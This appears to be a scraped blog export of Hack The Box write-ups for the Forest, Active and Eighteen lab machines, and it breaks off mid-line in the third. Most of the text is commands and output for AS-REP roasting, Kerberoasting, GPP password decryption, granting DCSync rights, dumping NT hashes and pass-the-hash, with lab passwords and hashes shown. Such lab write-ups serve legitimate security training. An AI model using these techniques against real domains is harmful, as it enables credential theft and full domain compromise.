doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set [-] User lucinda doesn\u0026#39;t have UF_DONT_REQUIRE_PREAUTH set This is suprising. No user is vulnerable to it. Let\u0026rsquo;s look again more thorougly the directory objects.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 └─$ ldapsearch -x -H ldap://htb.local -b \u0026#34;dc=htb,dc=local\u0026#34; \u0026#34;(objectClass=computer)\u0026#34; cn # extended LDIF # # LDAPv3 # base \u0026lt;dc=htb,dc=local\u0026gt; with scope subtree # filter: (objectClass=computer) # requesting: cn # # FOREST, Domain Controllers, htb.local dn: CN=FOREST,OU=Domain Controllers,DC=htb,DC=local cn: FOREST # EXCH01, Computers, htb.local dn: CN=EXCH01,CN=Computers,DC=htb,DC=local cn: EXCH01 We manage to find a a computer account, propably for some exchange server.\nWe are going to use another tool for LDAP querying, called windapsearch. Let\u0026rsquo;s make an export of all the objects and look into them.\n1 2 └─$ windapsearch -d htb.local -m custom --filter \u0026#34;(objectClass=*)\u0026#34; --attrs cn -o htb.local.txt [+] htb.local.txt written Looking at the export file we come accross dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local. This may be what we missed as it doesn\u0026rsquo;t have any other attribute except the dn. This is rare but possible.\nTrying now to get the hash with Impacket\u0026rsquo;s GetNPUsers works like a charm.\n1 2 3 4 5 └─$ impacket-GetNPUsers HTB.LOCAL/svc-alfresco -dc-ip 10.129.95.210 -no-pass -outputfile svc-alfresco.hash Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Getting TGT for svc-alfresco $krb5asrep$23$svc-alfresco@HTB.... We crack the hash.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ─$ hashcat -m 18200 svc-alfresco.hash /usr/share/wordlists/rockyou.txt.gz Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) Hash.Target......: $krb5asrep$23$svc-alfresco@HTB.LOCAL:5b19fcc7133e6d...d64bce Time.Started.....: Fri Jan 16 19:02:04 2026 (1 sec) Time.Estimated...: Fri Jan 16 19:02:05 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 8669.0 kH/s (6.66ms) @ Accel:1024 Loops:1 Thr:32 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 4587520/14344385 (31.98%) Rejected.........: 0/4587520 (0.00%) Restore.Point....: 3932160/14344385 (27.41%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#01...: seaford123 -\u0026gt; pommiey4632@hotmail.com Hardware.Mon.#01.: Temp: 40c Util: 14% Core:1695MHz Mem:5500MHz Bus:8 Started: Fri Jan 16 19:01:48 2026 Stopped: Fri Jan 16 19:02:05 2026 svc-alfresco\u0026#39;s password $krb5asrep$23$svc-alfresco@HTB.LOCAL:5b19fcc7133e6d57a68515a2abdd8659$2c2b3d2f1dd7891c46f29e187d45062c0055f76ecf8157d5dd94715898c39965061878d9dc29eb4c71eee8b4f5536706e11e4145cd31925191de27875fab3da4a479f55648ab6a1dbbcc94e40077a3e96dc91441723b5c29440939204979a143f98585daf9ba39527f9245749c416dc336a79f08b0a58d94f89ee3b234ee8b20258213baef6f1bb586c216cf50dd65242e56d05afe8f8b7b05f2b4be85059b899a3492002f3d52662126789816708b4c94f0d2aaa6f6bb9d1fce66d9b78201af4b23e8132cb051862b8f3560d9f904256f6191e427786143bed7a3f378035b1e906cd9d64bce:s3rvice Using evil-winrm we can login and get the user.txt.\nRoot Enumerating our posture and the domain we will launch Bloodhound. First we collect the data from our attacker machine.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 └─$ bloodhound-python -d htb.local \\ -u svc-alfresco -p \u0026#39;s3rvice\u0026#39; \\ -dc forest.htb.local \\ -ns 10.129.95.210 \\ -c all INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: htb.local INFO: Getting TGT for user INFO: Connecting to LDAP server: forest.htb.local WARNING: Kerberos auth to LDAP failed, trying NTLM INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: forest.htb.local WARNING: Kerberos auth to LDAP failed, trying NTLM INFO: Found 32 users INFO: Found 76 groups INFO: Found 2 gpos INFO: Found 15 ous INFO: Found 20 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: EXCH01.htb.local INFO: Querying computer: FOREST.htb.local WARNING: Failed to get service ticket for FOREST.htb.local, falling back to NTLM auth CRITICAL: CCache file is not found. Skipping... WARNING: DCE/RPC connection failed: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) INFO: Done in 00M 17S We launch Bloodhound GUI and we see this nice path to Admin on the image below. For this we need to add our selves to the EXCHANGE WINDOWS PERMISSIONS and then we will be able to write a DACL to the HTB.LOCAL for whatever right we want. We can use DCSync to own the domain.\nWe can use the native commands within the victim host, such as:\n1 2 *Evil-WinRM* PS C:\\Users\\svc-alfresco\\Documents\u0026gt; net group \u0026#34;EXCHANGE WINDOWS PERMISSIONS\u0026#34; svc-alfresco /add /domain The command completed successfully. Or with Powerview:\n1 Add-DomainGroupMember -Identity \u0026#39;EXCHANGE WINDOWS PERMISSIONS\u0026#39; -Members \u0026#39;svc-alfresco\u0026#39; But we are going to use Linux commands from our attacker machine instead.\n1 2 3 4 5 6 7 8 9 10 11 12 13 ──(panas㉿kalig5)-[~/…/htb-labs/AD/forest/sharp-out] └─$ net rpc group members \u0026#34;EXCHANGE WINDOWS PERMISSIONS\u0026#34; -U \u0026#34;htb.local\u0026#34;/\u0026#34;svc-alfresco\u0026#34;%\u0026#34;s3rvice\u0026#34; -S \u0026#34;FOREST.HTB.LOCAL\u0026#34; HTB\\Exchange Trusted Subsystem ┌──(panas㉿kalig5)-[~/…/htb-labs/AD/forest/sharp-out] └─$ net rpc group addmem \u0026#34;EXCHANGE WINDOWS PERMISSIONS\u0026#34; \u0026#34;svc-alfresco\u0026#34; -U \u0026#34;htb.local\u0026#34;/\u0026#34;svc-alfresco\u0026#34;%\u0026#34;s3rvice\u0026#34; -S \u0026#34;FOREST.HTB.LOCAL\u0026#34; ┌──(panas㉿kalig5)-[~/…/htb-labs/AD/forest/sharp-out] └─$ impacket-dacledit -action \u0026#39;write\u0026#39; -rights \u0026#39;DCSync\u0026#39; -principal \u0026#39;svc-alfresco\u0026#39; -target-dn \u0026#39;DC=HTB,DC=LOCAL\u0026#39; \u0026#39;htb.local\u0026#39;/\u0026#39;svc-alfresco\u0026#39;:\u0026#39;s3rvice\u0026#39; Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] DACL backed up to dacledit-20260117-004455.bak [*] DACL modified successfully! After we add are part of the group we can write a DACL and add the DSCync right to our principal. Lastly we use secretsdump.py dump all the secrets drom the DC.\nAdministrator NT Hash 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ┌──(panas㉿kalig5)-[~/…/htb-labs/AD/forest/sharp-out] └─$ impacket-secretsdump HTB.LOCAL/svc-alfresco:s3rvice@FOREST.HTB.LOCAL Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets htb.local\\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f::: htb.local\\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44::: htb.local\\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05::: htb.local\\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a::: htb.local\\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9::: htb.local\\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555::: htb.local\\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5::: htb.local\\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff::: htb.local\\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203::: htb.local\\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355::: htb.local\\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536::: htb.local\\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc::: htb.local\\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3::: htb.local\\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668::: htb.local\\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b::: htb.local\\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7::: htb.local\\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072::: FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:8e7e359a3906d4817228dac7b3073803::: EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1::: To get the root.txt we just authenticate as Administrator and Passing the Hash.\n1 evil-winrm -i 10.129.95.210 -u Administrator -H \u0026lt;HASH\u0026gt; ","permalink":"https://p4n4s.com/posts/htb/box/forest/","summary":"Forest is an easy Windows machine that showcases a Domain Controller (DC) for a domain in which Exchange Server has been installed. The DC allows anonymous LDAP binds, which are used to enumerate domain objects. The password for a service account with Kerberos pre-authentication disabled can be cracked to gain a foothold. The service account is found to be a member of the Account Operators group, which can be used to add users to privileged Exchange groups. The Exchange group membership is leveraged to gain DCSync privileges on the domain and dump the NTLM hashes, compromising the system.","title":"HTB: AD — Forest"},{"content":"Machine Info Active is an easy to medium difficulty machine, which features two very prevalent techniques to gain privileges within an Active Directory environment.\nHost / IP 10.10.10.100 / ACTIVE.HTB. We add the record to our /etc/hosts.\nUser Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 └─$ sudo nmap -sC -sV 10.10.10.100 -T4 -oN nmap.txt Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-14 23:01 CET Nmap scan report for 10.10.10.100 Host is up (0.035s latency). Not shown: 982 closed tcp ports (reset) PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-14 22:01:24Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC 49165/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 2:1:0: |_ Message signing enabled and required | smb2-time: | date: 2026-01-14T22:02:21 |_ start_date: 2026-01-14T21:52:51 We don\u0026rsquo;t see a lot of open services that can be interesting but it\u0026rsquo;s always good to check the SMB.\nSMB 1 2 3 4 5 6 7 8 9 10 11 12 13 └─$ smbclient //10.10.10.100/Replication -N Anonymous login successful Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; ls . D 0 Sat Jul 21 12:37:44 2018 .. D 0 Sat Jul 21 12:37:44 2018 active.htb D 0 Sat Jul 21 12:37:44 2018 smb: \\active.htb\\policies\\\u0026gt; recurse ON smb: \\active.htb\\policies\\\u0026gt; prompt OFF smb: \\active.htb\\policies\\\u0026gt; cd ..\\ smb: \\active.htb\\\u0026gt; cd ..\\ smb: \\\u0026gt; mget * There is an open share that holds the Policies and Group Policy Preferences content. The most interesting file we see immediately is Groups.xml.\n1 2 3 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;utf-8\u0026#34;?\u0026gt; \u0026lt;Groups clsid=\u0026#34;{3125E937-EB16-4b4c-9934-544FC6D24D26}\u0026#34;\u0026gt;\u0026lt;User clsid=\u0026#34;{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}\u0026#34; name=\u0026#34;active.htb\\SVC_TGS\u0026#34; image=\u0026#34;2\u0026#34; changed=\u0026#34;2018-07-18 20:46:06\u0026#34; uid=\u0026#34;{EF57DA28-5F69-4530-A59E-AAB58578219D}\u0026#34;\u0026gt;\u0026lt;Properties action=\u0026#34;U\u0026#34; newName=\u0026#34;\u0026#34; fullName=\u0026#34;\u0026#34; description=\u0026#34;\u0026#34; cpassword=\u0026#34;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ\u0026#34; changeLogon=\u0026#34;0\u0026#34; noChange=\u0026#34;1\u0026#34; neverExpires=\u0026#34;1\u0026#34; acctDisabled=\u0026#34;0\u0026#34; userName=\u0026#34;active.htb\\SVC_TGS\u0026#34;/\u0026gt;\u0026lt;/User\u0026gt; \u0026lt;/Groups\u0026gt; We find a user name active.htb\\SVC_TGS and an encrypted password. Info The term \u0026ldquo;cpassword\u0026rdquo; refers to a critical security vulnerability in older Microsoft Active Directory Group Policy Preferences (GPP) where passwords were stored in publicly readable XML files within the domain\u0026rsquo;s SYSVOL share We can use known tools to grab the password really easily. SVC_TGS password 1 2 └─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ GPPstillStandingStrong2k18 active.htb\\SVC_TGS:GPPstillStandingStrong2k18\nHaving cracked the password we can get the user flag now by authenticating via SMB.\n1 2 3 4 5 6 7 8 9 10 11 12 13 └─$ smbclient //10.10.10.100/Users -U active.htb\\\\SVC_TGS Password for [ACTIVE.HTB\\SVC_TGS]: Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; ls . DR 0 Sat Jul 21 16:39:20 2018 .. DR 0 Sat Jul 21 16:39:20 2018 Administrator D 0 Mon Jul 16 12:14:21 2018 All Users DHSrn 0 Tue Jul 14 07:06:44 2009 Default DHR 0 Tue Jul 14 08:38:21 2009 Default User DHSrn 0 Tue Jul 14 07:06:44 2009 desktop.ini AHS 174 Tue Jul 14 06:57:55 2009 Public DR 0 Tue Jul 14 06:57:55 2009 SVC_TGS D 0 Sat Jul 21 17:16:32 2018 Root Kerberoasting We have valid creds and thus we can try the usual checks such as Kerberoasting.\n1 2 3 4 5 6 7 └─$ impacket-GetUserSPNs active.htb/svc_tgs -dc-ip 10.10.10.100 -request -outputfile kerberoast.hashes Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ---------- active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40.351723 2026-01-14 22:54:00.137757 We get the TGS-Rep from Administrator user!\n1 2 └─$ cat kerberoast.hashes $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$8acc7e12f80ef3b1e892e5deac4db814$78b2f65e612078fcf3246e3a421f69fd9b8f9c26ae217869a4f134c4150d63fd4b1b9db2f0cc8b1b83554b951cd55f3f49e7f756b647c0572ff20930b9e3731ae1dc85c039d1fdf880bf5d50b79a99071ce74faac4a49360741716462934b806d30ad3bc735d396b8a510c53eeab4bab788185475331db4a1170b59d86dced2ecfa3f9fb94e4e8c3db07a42f1d184ca42d30fb7d4e274fca0b3d3290dc9de9ab4088461d7d7e66bcb4034e0cd38aaff1f2f16a247075658e4525545699f857b069d18d26043279a4597666261b8fe3b86c8e9cd247293ba8c8e1b1b5a382851066cd78ae99ffca472f1d14c3989eaddb5eb1fbb65582fa918d444ccacfddffc2eab228aac394ad37a7c3590340a8989f70153807ce5c276daa9a1bdfede1a715370a543822fa237dfc0b78fd0edf3863914a76163e18decbf84de7f4a6cd7dda9d7b11816c13c9ac35dd1ec21832480a8a0779b94d7b23251c30075b3e4757876b5f80a3b4965c003899bdc638fc39abde871ccaafeaf88504c6f2525b469786a156ab7caefbf5e7619f45fc1ec1043bfc01f9df6a851b2c30ca728298901e09de2cbd213279b598d190199e11ccd34072e58f7447b71a75daab97bbae691dc9b5d5516b6f895e2fb1b3902736059b1e119ff3a5b1a7517cceeb70cf36e476c18d0c6728fb4a7f1316e44bfad8731721f560257641cf485a4b91909c90a01c77859baf47f86917865f13474e5d97012b978c61b71ed3043673e30fe5677a38b6c04f28925c91027fa38d5a7bc307c126bd74c2eb67fb6a6e9730a8379987f10f6a1042d6ba83758044c1d8e337a7e3e75a826087c416a679310dd664e092ba9c42ef95ea781265b7bfded39bf094d79846199b4f0674ba907a949c5db4c5da565e58bba42dba58ec901ee23ba1f83abe7d06aee8ce75e21b44de20b2ac3da6260f2ee7e49cc556800343a6865625dcc8e7ed2636ccb4d0b01ae4025c4eef9c681841a20c9beffe4dfc8c45cbbdcf629677f6b00c48ce4ce09390ed805446143d8e2c5cddb1bd3ea5acf7c888ebaaa093d21a22f9851415a184a4744c1e7eb5469fdc82d5973878ce745f92a5c9874426166cfbb19047bae4f7cc3372881eb8c727c7591310205b5529eacbf395b49646ba4b9b030b1834fab2506435ae8d80a4a40e6d91cf01e419e1fedb1a33da2f88eb3529f78b1c2eb3b75658dd0fbd0f1a1e529384e433c5b9c1cdd992c7344852c432143b797b3157cad2 And then we crack it with Hashcat.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ─$ hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt.gz -r /usr/share/hashcat/rules/best66.rule Session..........: hashcat Status...........: Cracked Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP) Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...57cad2 Time.Started.....: Wed Jan 14 23:40:47 2026 (16 secs) Time.Estimated...: Wed Jan 14 23:41:03 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz) Guess.Mod........: Rules (/usr/share/hashcat/rules/best66.rule) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 45317.8 kH/s (5.41ms) @ Accel:30 Loops:64 Thr:32 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 695654400/946729410 (73.48%) Rejected.........: 0/695654400 (0.00%) Restore.Point....: 10521600/14344385 (73.35%) Restore.Sub.#01..: Salt:0 Amplifier:0-64 Iteration:0-64 Candidate.Engine.: Device Generator Candidates.#01...: UWM2010 -\u0026gt; n465 Hardware.Mon.#01.: Temp: 55c Util: 43% Core:1965MHz Mem:6000MHz Bus:8 Cracked Administrator password 1 $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$8acc7e12f80ef3b1e892e5deac4db814$78b2f65e612078fcf3246e3a421f69fd9b8f9c26ae217869a4f134c4150d63fd4b1b9db2f0cc8b1b83554b951cd55f3f49e7f756b647c0572ff20930b9e3731ae1dc85c039d1fdf880bf5d50b79a99071ce74faac4a49360741716462934b806d30ad3bc735d396b8a510c53eeab4bab788185475331db4a1170b59d86dced2ecfa3f9fb94e4e8c3db07a42f1d184ca42d30fb7d4e274fca0b3d3290dc9de9ab4088461d7d7e66bcb4034e0cd38aaff1f2f16a247075658e4525545699f857b069d18d26043279a4597666261b8fe3b86c8e9cd247293ba8c8e1b1b5a382851066cd78ae99ffca472f1d14c3989eaddb5eb1fbb65582fa918d444ccacfddffc2eab228aac394ad37a7c3590340a8989f70153807ce5c276daa9a1bdfede1a715370a543822fa237dfc0b78fd0edf3863914a76163e18decbf84de7f4a6cd7dda9d7b11816c13c9ac35dd1ec21832480a8a0779b94d7b23251c30075b3e4757876b5f80a3b4965c003899bdc638fc39abde871ccaafeaf88504c6f2525b469786a156ab7caefbf5e7619f45fc1ec1043bfc01f9df6a851b2c30ca728298901e09de2cbd213279b598d190199e11ccd34072e58f7447b71a75daab97bbae691dc9b5d5516b6f895e2fb1b3902736059b1e119ff3a5b1a7517cceeb70cf36e476c18d0c6728fb4a7f1316e44bfad8731721f560257641cf485a4b91909c90a01c77859baf47f86917865f13474e5d97012b978c61b71ed3043673e30fe5677a38b6c04f28925c91027fa38d5a7bc307c126bd74c2eb67fb6a6e9730a8379987f10f6a1042d6ba83758044c1d8e337a7e3e75a826087c416a679310dd664e092ba9c42ef95ea781265b7bfded39bf094d79846199b4f0674ba907a949c5db4c5da565e58bba42dba58ec901ee23ba1f83abe7d06aee8ce75e21b44de20b2ac3da6260f2ee7e49cc556800343a6865625dcc8e7ed2636ccb4d0b01ae4025c4eef9c681841a20c9beffe4dfc8c45cbbdcf629677f6b00c48ce4ce09390ed805446143d8e2c5cddb1bd3ea5acf7c888ebaaa093d21a22f9851415a184a4744c1e7eb5469fdc82d5973878ce745f92a5c9874426166cfbb19047bae4f7cc3372881eb8c727c7591310205b5529eacbf395b49646ba4b9b030b1834fab2506435ae8d80a4a40e6d91cf01e419e1fedb1a33da2f88eb3529f78b1c2eb3b75658dd0fbd0f1a1e529384e433c5b9c1cdd992c7344852c432143b797b3157cad2:Ticketmaster1968 Administrator account pwned. Now we can loging with SMB and get the root.txt.\n","permalink":"https://p4n4s.com/posts/htb/box/active/","summary":"Active is an easy to medium difficulty machine, which features two very prevalent techniques to gain privileges within an Active Directory environment.","title":"HTB: AD — Active"},{"content":"Machine Info Eighteen is an easy Windows machine\u0026hellip; As is common in real life Windows penetration tests, you will start the Eighteen box with credentials for the following account: kevin / iNa2we6haRj2gaw!\nHost / IP 10.10.11.95 / EIGHTEEN.HTB. We add the record to our /etc/hosts.\nUser Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 └─$ sudo nmap -sC -sV eighteen.htb -T4 -oN nmap.txt Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-09 20:00 CET Nmap scan report for eighteen.htb (10.10.11.95) Host is up (0.066s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Welcome - eighteen.htb 1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM | ms-sql-ntlm-info: | 10.10.11.95:1433: | Target_Name: EIGHTEEN | NetBIOS_Domain_Name: EIGHTEEN | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: eighteen.htb | DNS_Computer_Name: DC01.eighteen.htb | DNS_Tree_Name: eighteen.htb |_ Product_Version: 10.0.26100 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2026-01-10T01:54:54 |_Not valid after: 2056-01-10T01:54:54 | ms-sql-info: | 10.10.11.95:1433: | Version: | name: Microsoft SQL Server 2022 RTM | number: 16.00.1000.00 | Product: Microsoft SQL Server 2022 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2026-01-10T02:01:15+00:00; +7h00m00s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.28 seconds We see a web port open, MSSQL and WinRM. Let\u0026rsquo;s visit the web page.\nWebsite 1 2 3 4 5 6 7 8 9 └─$ ffuf -u http://eighteen.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -r ________________________________________________ admin [Status: 200, Size: 1961, Words: 602, Lines: 66, Duration: 228ms] dashboard [Status: 200, Size: 1961, Words: 602, Lines: 66, Duration: 102ms] features [Status: 200, Size: 2822, Words: 849, Lines: 88, Duration: 275ms] login [Status: 200, Size: 1961, Words: 602, Lines: 66, Duration: 92ms] logout [Status: 200, Size: 2253, Words: 674, Lines: 74, Duration: 111ms] register [Status: 200, Size: 2421, Words: 762, Lines: 76, Duration: 306ms] :: Progress: [20481/20481] :: Job [1/1] :: 591 req/sec :: Duration: [0:00:47] :: Errors: 0 :: This website let us create and users and login. The credentials given cannot be used in the website. Let\u0026rsquo;s try the MSSQL.\nMSSQL 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 └─$ impacket-mssqlclient eighteen.htb/kevin:\u0026#39;iNa2we6haRj2gaw!\u0026#39;@eighteen.htb Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01): Line 1: Changed database context to \u0026#39;master\u0026#39;. [*] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press help for extra shell commands SQL (kevin guest@master)\u0026gt; select @@version; Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) Oct 8 2022 05:58:25 Copyright (C) 2022 Microsoft Corporation Enterprise Evaluation Edition (64-bit) on Windows Server 2025 Datacenter 10.0 \u0026lt;X64\u0026gt; (Build 26100: ) (Hypervisor) SQL (kevin guest@master)\u0026gt; select name from sys.databases; name master tempdb model msdb financial_planner SQL (kevin guest@master)\u0026gt; select * from financial_planner.information_schema.tables; ERROR(DC01): Line 1: The server principal \u0026#34;kevin\u0026#34; is not able to access the database \u0026#34;financial_planner\u0026#34; under the current security context. SQL (kevin 